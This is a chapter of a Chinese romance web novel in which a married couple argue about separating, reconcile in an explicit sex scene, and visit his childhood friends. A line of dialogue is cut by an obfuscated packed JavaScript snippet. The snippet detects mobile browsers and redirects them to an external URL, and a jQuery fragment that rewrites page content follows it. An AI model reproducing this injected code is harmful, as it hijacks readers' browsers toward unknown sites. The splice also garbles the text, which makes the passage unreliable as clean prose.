56. 56.迟音
作品:《穿到三年后成了死对头老婆》 陈疏音很长时间都没有对他的提问出声答复。
裴郁能很清晰地感受到她处在一场艰难抉择的地震里,被她一直以来渴望的爱和人抛弃了。
她苦笑着摇了下头。
这一微小的动作被裴郁捕捉在眼底,得到称心的回应,他庆幸地呼出一口气,高悬的心稍稍落下了些。
“没关系,真的没关系。”他上前把人搂进怀里,一遍遍顺着她发旋往上抚摸她后脑,“我还在。”
陈疏音贴着他发烫的胸口,几滴挂不住的泪洇湿衣料。
“比如说,我再努努力,把我在你心目中的位置再占多一点,爱你多一点。”裴郁湿热的唇瓣顺着她额心贴下来,吻在她肿起的眼皮,“你把你自己看得再重要些,爱自己再多一点。”
他说,陈疏音我们都使把劲,比个赛,看看谁的速度更快。
“不一样的。”
陈疏音的弱声闷在他肩窝,每一句都像是费尽了力气说出来,“我其实并没有觉得我妈做得不对,她跟我说她选择了她想要的人生,她能把爱倾注给另一个没有血缘关系的孩子,说明她在那个家庭是幸福的。”
她从他怀里退出来,那双和他争锋相对的眸子,挂着亮晶晶的湿意,“我就是觉得,我的存在是个错误。”
裴郁否认,他声色急促,“不,不是这样的。”
“如果没有我,我妈可能会坚持离开我爸,不被亲情给裹挟;如果没有我,我妈可能会勇于和我外公斗争,一开始就做出对的选择。”陈疏音蕴着泪,抬手背刮去那点湿哒哒的水液,“所以——”
“裴郁。”她仰面淡然地望着他,“我在想,我们是不是应该让一切回到正轨了。”
“什么?”
“周末和阿姨的正式见面,取消吧。”陈疏音扭动着无名指的戒指,运着力往外拔,手指有些水肿,导致原本合适的戒指变得有些难推出。
她紧着眉头,忍着刮到皮肉的痛坚持往外扯。
手被裴郁扼制住,他垂着眼眸,生出一股无法宣之于口的怒不可遏和无可奈何,“谁说她的选择就一定是对的?”
“陈疏音!你能不能不要每次都第一个放弃我?”
她来不及思考他话里的每次。
“那我能怎么办?”她压着声线吼出来,“你以为我打发她的三言两语就能让她罢休吗?”
裴郁指向门外,“她该承担的事情为什么要让你来负责?你……凭什么把我推给别人?”
“我学不会你的潇洒。”陈疏音敛着眼睑,“我也没有资格把你推给别人,我只是自己想要了断一段不正确的关系,仅此而已。”
裴郁近乎恍惚,什么对的错的,正确不正确的,“那就让它变成你标准里的正确。”
“裴郁,你能不能不要那么固执己见。”陈疏音压着猛跳的太阳穴,“三天的时间,你好好考虑一下再回复我。”
“不需要考虑,甚至不用三秒,我就能告诉你。”
“无论什么情况,我都不会放开你。”
陈疏音充耳不闻地往卧室走,裴郁的话一茬接一茬落入她耳中。
他漆沉的瞳仁被轻颤的眼睫盖住,他抬手蹭了蹭眼角,喉结慢缓地滑动,“我不想做让你觉得有负担的事,但我希望,你能回过头好好看看我,看看我到底是不是那么糟糕,糟糕到,我用了十年的时间,还是捂不热你的心。”
她的脚步猝地停下,像是被胶水黏住,暗暗用尽了全部的力气,还是没法从原地走向她本该走去的位置。
她定定地斟酌着裴郁的语气,这里面是否含着他的生气、悲愤,是否终于发现她其实是个无法处理好亲密关系的笨人,不值得他再继续花费精力……
然她的念头还没发散至高潮,腰背就被一堵温挺的墙包揽,他的双臂从后缠上她腰身,他低低的告白在耳廓沉浮,“或许你不需要我,可我很需要你。”
“姑姑的事情牵连甚广。妈和爷爷都被叫去谈话,老宅目前的确不是个待客见面的好地方。”裴郁温声商量,“你花费太多精力,该好好休息,两家正式会面的日子,可以暂且放一放。”
“其他的事情,不要再说了,好不好?”
“裴郁,我说过,我是从三年前穿越来的,一开始我也以为我们真的发生了什么转折,让我们的感情浓烈到忽然结婚。”陈疏音抓着他如镯拢紧的手腕,“但这几次来回奔走,我发现我们就是不合适,两个月前我荒唐和冒犯的举动,你就当是个意外——”
裴郁咬着她尾音,像是一句都听不下去,“我当不了。”
“你——”
陈疏音欲再度开口劝阻,话还在口中打转就被他转了个面往后推到墙上,一道阴影落下,唇齿被堵得密不透风。
“唔……”他吻得强势热切,陈疏音毫无反应的间隙,被动地被他挑动,本就松动的口锋被他轻易撬开,她的舌尖被缠住轻含。
作为一个艺人,他的形象管理从小就扎根于心,大到家里点滴都是他在安排做打理,进屋总能闻到清淡舒心的清香,小到读书时他书包和口袋里都会放香包。
书页翻动时,余香被风带到她鼻腔,扰得她一节课心神不宁。
而此刻,他唇舌的清爽气味渡给她,像迎了一面悠悠吹拂的海风,她迷蒙记得她该抗拒,却异常地贪恋他滚烫直进的温度,被他紧摁住背脊推向他。
进一步,再进一步。
他的指甲被修剪得干净修长,以至于拂过她体肤时陈疏音都没什么推拒的动作,直至莫名其妙躺到床上,听到身后一声熟练的开扣声,她身前的束缚软塌塌地散下来,才发出一声意识到不妙的轻呼。
“我在和你说正事,你停下。”她强行从游离里抽身,压住他手腕。
她抓得过急,几根手指卡进他腕部的红绳里。
裴郁被猝然勒了一道,垂首转了转手腕,又掀着浓情未消的眸子看向她。
这条红绳从陈疏音认识他起他就在戴。
不看裴郁的整体气质,单看他挂着红绳的左手,会觉得这是个从小教养长大的人。他性子强硬张扬,很难松口。而这根与他气性全然不搭的铜板红绳磨平了些他凌厉的外表。
不同的是,红绳之下,有一个几近肉色的音符纹身,盖在那圈咬痕疤上,不细看,还以为是青色血管的阴影。
“你纹身了?”陈疏音怔忡地伸指去触摸。
“才注意到?”
他话里藏酸,“我白长了副这样的身体,让你一点探索的欲望都没有。”
“谁会扒着别人的身体看。”陈疏音嘟哝。
“我连你身上几颗痣,痣的位置在哪都一清二楚。”
这句倒有点请求表扬的自夸。
陈疏音咽了咽喉,没想太多,扯上被子就准备安眠,被他一把拎出来,流氓尽显地包圆了他解开的两团,“不问问为什么纹这个?”
她臊着脸塌腰,“谁知道你。”
衣摆已在她下巴下卡着,他低头含住,吃得啧嘬作响,闷着声,“对我一点不感兴趣是吗?”
陈疏音高仰着下巴,知道不顺他话说他就会一直磨她,“为什么纹?”
“你的名字。”他一个人总能同时做很多事,嘴里没松过,左边换右边,右边换左边,一只手做辅助,另一只手捏着自己磨搓她正起劲。
他说左手无名指是离心脏最近的地方,用来戴他们的婚戒,而纹身的地方是他的脉搏,血液每一次从这流经,都会提醒他一次,他在真真切切地爱着她。
陈疏音对他催魂的情话向来没什么大反应,但今天细腻的前摇让她格外动情。
“老婆,要学着喜欢我,好不好?”他终于吃腻换地方,话还是又多又密。
她搞不懂一个在外冷得两三句话都懒得说的人,对着她一个人也能演话剧似喋喋不休。
陈疏音低眼瞧着他黑漆漆的发顶,他眼神半阖,偶而掀眼看她的酌醉的脸,晃动的脑袋却在告诉她他有多专注。
无可抗拒的身体依恋和不能正视的羞耻心让她陷入无边挣扎里,眼前一次又一次失了神智似翻白。
裴郁似要把她卷入一个她看不底的漩涡里,但意外的是,她没有产生任何害怕,相反,她甚至好奇且憧憬。
陈疏音被这个念头吓了一大跳,缓缓睁开眼时,裴郁起身把住她腿弯拖近,俯下身来亲她。
她无处可退又被他圈着背往他身上摁,好似要把她融入他的骨血里,吻得格外用力,他舌尖带过她尖利的齿锋,像是要以一己之力把她尖锐的棱角都磨平。
手指一并钻了进来,抵着她起伏的气息深触,他胸膛挤压着她最柔软的心口,“重新说一次。”
“说什么啊?”陈疏音被他的节奏打乱思绪,话音带颤。
那儿湿滑紧致的吸力像个无法脱身的小漩涡,他缄默地动着手,提身一瞬不瞬地盯着她,似伺机而动的猛兽,在蓄谋什么大动作,“还分开吗?”
陈疏音就差一口气吊着,不上不下,他对她的点位心知肚明,故意冷声追问:“还推开我吗?”
全身的细胞都被他勾得活跃起来,但他却忽地停了,温存失去,凉风钻空侵袭她的身上每个角落。
陈疏音抓着床单仰看他,闭眼后深深抽了口气,吐出简单的一个“不”字。
裴郁只字未发,但背光下他冷峻的脸淌着温情,急切外溢,沉身寸寸推满,“你说我要不要继续?”
他有抽离的架势,陈疏音按住他结实的手臂,带着阵哭腔,“要……”
“要谁?”
“我是谁?”
陈疏音偏头埋到枕头里,抓着被角闷声说:“要……老公。”
“真棒。”裴郁把她脸扒出来,吻在她唇角,缱绻地轻啄,“这么漂亮,藏起来干什么?”
……
余光传媒于次日发布了对近期所有争议的回应,陈疏音朦胧记起裴郁出门前在她额上轻吻交代了几句,醒来时身边的被子还残留一点余温。
她给他拨去一通电话,机械的女声回应他正在通话中。
“裴郁,我俩见见。”
裴郁把手机拿远了些,“有什么事电话里说不清楚?”
展亦恒的语气不容置喙,“你不来,我就去找你。”
裴郁轻嘶了声,“你最近不忙了?”
他话里夹着显而易见的嘲讽,展亦恒反应过来,“我就说阿希没那个胆量,是你出的馊主意?”
“这怎么能叫馊主意,我一早就提醒过你。”
展亦恒给他发来一个定位,“放心,我不揍你,我们也很久没聚了,聊点兄弟间该说的事。”
“不好意思,最近要陪老婆,没空。”裴郁眼见着打入的另一通电话挂断,准备掐灭和展亦恒的通话。
“那就把你老婆一块叫来,你不是一直在苦恼她对你的认识一片空白吗?”
展亦恒抓住要点,“她不走近你,你怎么走进她心里?”
裴郁默声挂断电话,抬眸对上周启好奇的脸。
“哥,舆论控制下来了,你要不要和嫂子休一段时间假,避避风头?张总打电话询问我你把两家相见定在什么时候,她要调出时间——”
“车钥匙给我,我明天前给你回复。”裴郁捞起外套往外走,一边给陈疏音回电。
“接你去个地方,下楼等我。”
陈疏音听着他平稳的声音,没多问,简单化了个妆等在楼下。
自从公开,她对和裴郁一同出现在大众眼里不再有后怕的担忧感,被他牵着手从大堂走向包间,她忽觉周围的眼光其实并不难接受。
一个单间涵盖不少娱乐项目,打开门就能听到零零散散的娱乐声,一个项目三四人有说有笑地进行着,裴郁和陈疏音进来时,有一刹的安静。
而后笑嘻嘻地涌上来跟裴郁打了个招呼,眼神却一致地黏在了陈疏音身上。
她本人比电视机里长得更精致,气质从容大气,眉眼缓缓从左扫去,唇角轻勾,没有过多的表情波动,直至裴郁紧牵着她,指尖点着她手背,她才点头朝各位示意了下。
“来了?”展亦恒穿着件五颜六色的花衬衫,目光偏向陈疏音,戏精十足地把墨镜抬上去,“弟妹,久仰啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145914|162635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
陈疏音侧视了眼裴郁,才抿唇回应他的自来熟,“你好。”
“别拘谨,在座都是我和裴郁从小玩到大的朋友。”展亦恒扣住裴郁的肩膀,“先玩两局?”
“快快快,阿裴有多久没炫过你的球技了?这么久没练,不会要输给老展了吧?”几个人推耸着他们到球台,起哄。
陈疏音自觉退到一侧,她鲜少接触这些娱乐项目,安静守在一侧观察。
裴郁接过球杆,支杆俯身,五指压在杆下,沿着桌边对准一颗黑球,稳准一击,明明是直线的打法,这颗球却像是被指定了线路,撞到对侧桌边后弹向四周散落的球,奇迹一般把桌上的散球全都接连撞进了洞里。
“哇喔。”
“阿裴指间功夫一如既往的了得。”
“老展还打吗?少一颗球今天的消费都你买单。”
“行,你把这局打死了,让之后的人怎么打?”
裴郁起身眼中并无波澜,像是举手完成了个简单到不能再简单的小游戏,反而是最后一颗进球后听到意料中的欢呼和调侃,勾唇轻笑,扬眼往陈疏音那瞧。
陈疏音莫名咽了下口水,看他被环在中央,大家欢笑着围着他说话,他那怡然自得游刃有余的模样,的确是迷人的。
一个她没见过、充满生活气,但依然闪耀的裴郁,赫然出现在她眼前。
裴郁打了一局就意兴阑珊地走到陈疏音边上,贴她耳说:“老公厉不厉害?当你教练怎么样?”
她没少看到过台球桌上的“贴面礼”,真要教授起来,当着他朋友们的面她也不好意思,违心道:“我不玩。”
展亦恒冲他打个响指,“有那么分不开么?让弟妹玩会儿呗,我俩聊点正事。”
陈疏音觉察到他们原本热络的氛围因她的到来和陌生停滞,推了把裴郁的手臂,“你去吧。”
“肖潇。”裴郁冲一个高马尾、机车装扮的女孩喊了声。
她单腿支靠在台球桌旁,闻声丢了手里的球,又听裴郁说:“她第一次来,麻烦你多照顾下她。”
这话虽是对着肖潇一人说,但在座没有一个人听不懂他的深意,他要的不是她露面,而是希望她能真正被他们接纳包容,融进来。
有人打趣着让他放心,都乐呵呵地以自己的方式跟陈疏音自我介绍,没有刻意的迂回试探,自然地把她邀请进他们开的局里。
裴郁刚出去带上门,回过头来正对上一记闷拳,头偏向一侧。
他没防范,却也是意料之中,低头舔着嘴角轻嗤,“言而无信,对你女朋友也是这样吗?”
“你还敢提。”展亦恒花花公子的气势一收,提起裴郁衣领往墙上抡,愠怒的眼睛不可置信地望着他,“为什么连你也捅我一刀?”
“那是她的选择。”裴郁冷静地睨他,“我只是恰好和她做了个交易。”
“亦恒,你不珍惜她,自然会有更珍惜她的人出现。”
“我还不够珍惜她?”展亦恒讪笑,“当初她被家里人反对,和他们闹掰也要进圈的时候是我收留了她,她对工作一窍不通是我开了家公司为她规划把她送上现在的位置,五年,你就让她这么对我?”
“她难道就没有付出五年么?”
裴郁始终明确站队的样子让展亦恒摸不着头脑,而下一句话直接倒了他一头凉水。
“你根本就没那么爱她。”
“难道要像你一样狗在人家面前十年才叫爱吗?”
站位猛然颠倒,展亦恒被抵着脖子压到墙上,气喘吁吁,“被我说中了,你和她结婚又怎样?你忘了当初你多卑微,结果她表白的是别人,还给了你一巴掌。”
肖潇看得出陈疏音不是个爱热闹的人,怕她受不起闹腾,把音乐换成了温和蓝调,没了炸耳音乐的嘈杂,室内外变得不隔音起来,有人耳朵尖,“亦恒是不是和阿裴吵起来了?”
陈疏音闻声一顿,轮到她出牌,她走神往门口看,一时忘了出牌。
肖潇俯身帮她打了一张,把几瓶酒发下去,轮到陈疏音时,给她推了杯热烤奶,“没事,他俩一条裤衩里长大,就是打起来第二天也得和好。”
陈疏音不太主动挑起话题,周围递话勤快但不谄媚,像是自然把她当成一个熟悉得不能再熟悉的朋友。
其余几人就事聊起来。
“我总觉得亦恒这两天不太对。”
“分手了?”
“他那女朋友一直是一个人吗?我都没见过,肖潇,你见过吗?”
“我?”肖潇绞尽脑汁想了想,“还真没,我老说让他带出来带出来,他就是不肯,哪像裴郁啊,老把我们陈记者的名字挂嘴边。”
有人讲,“对啊,疏音,我高中的时候就知道你的名字了。”
陈疏音眉心微挑。
肖潇笑着附和,“你是不知道裴郁喝醉了嘴有多碎,能把他一周前干的事情都事无巨细地吐出来,一百件里有九十九件都在讲陈疏音。”
“他……说我什么?”陈疏音莫名心头一紧。
“我记忆最深刻的有一件,高三?你脚崴了,医务室下班,去医院和诊所又赶不上晚上的考试,我家和学校就一墙之隔,他翻墙跑到我家里拿药,结果翻回去的时候摔了哈哈哈。”
“我寻思着脚崴了也不至于忍不住痛,看他急的那个样子还以为是骨折了。”
笑声连绵,“我也记得,你还拍了他摔跤的照片吧,我估计那是他这辈子最狼狈的时候。”
陈疏音被挑起回忆,好似进入了另一个以裴郁展开的世界,她听着和她记忆不同的版本,讶异又茫然。
那晚教学楼电路失灵,考前灯灭,他不知道从哪摸黑回来,沾着一身干草和泥土的气息,垂头就捞起她裤脚抹药,那药性凉,他力道没个准,药液揉进来时她就吃痛的叫出声,压着声线冲他吼,“你干嘛啊?”
恰巧灯光亮起,班主任听到喊声匆匆从走廊上跑进来,就见到她的腿被捞起一截,光滑白腻的小腿肚搭在裴郁腿上。
他的手还抓着她脚踝,拇指之下,压着一片水色暧昧的青痕。

